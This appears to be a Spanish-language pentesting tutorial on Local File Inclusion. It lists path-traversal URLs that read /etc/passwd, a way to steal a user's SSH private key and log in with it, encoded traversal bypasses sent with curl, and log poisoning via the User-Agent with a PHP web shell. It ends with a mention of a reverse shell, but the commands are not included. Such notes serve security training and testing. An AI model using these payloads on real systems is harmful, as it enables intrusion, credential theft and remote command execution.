Para poder probar si se acontece un LFI, desde la misma ruta de la URL o desde un parámetro dentro de un archivo PHP por ejemplo, y este parámetro muestre otra página, por ejemplo:
https://target.com/index.php?page=catalog
http://target.com/cgi-bin/../../../../etc/passwd
En el parámetro page es donde podemos probar varias formas de apuntar a un archivo local, mediante path traversal:
http://target.com/index.php?page=../../../../../../../../../etc/passwd
Esto nos devuelve el contenido del /etc/passwd de la máquina local que esta hosteando esta web.
En caso de conocer nombres de usuarios, podemos apuntar a la id_rsa de dichos usuarios para conectarnos por ssh sin necesidad de contraseña:
http://target.com/index.php?page=../../../../../../../../../home/j.garcia/.ssh/id_rsa
kali@kali:~$ ssh -i id_rsa [email protected]
...
target@68b68f3eb343:~$
Siempre debemos probar URL encodeando los caractéres o duplicando las barras y los puntos:
curl <http://target.com/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd>
curl <http://target.com/cgi-bin/....//....//....//....//....//....//....//etc/passwd>
Una vez que comprobamos que un parámetro es vulnerable a LFI, podemos tratar de ejecutar comandos inyectando el User-Agent, en primer lugar introducimos este fragménto de código PHP que se encarga de ejecutar un comando mediante el parámetro cmd a nivel de sistema:
<?php echo system($_GET['cmd']); ?>

Y en segundo lugar, en el mismo parámetro de la URL, podemos apuntar al mismo access.log y pasarle el comando cmd con el comando que queramos ejecutar:

En este punto, podiamos tratar de entablar una reverse shell, siempre url encodeando todos los caracteres y espacios:
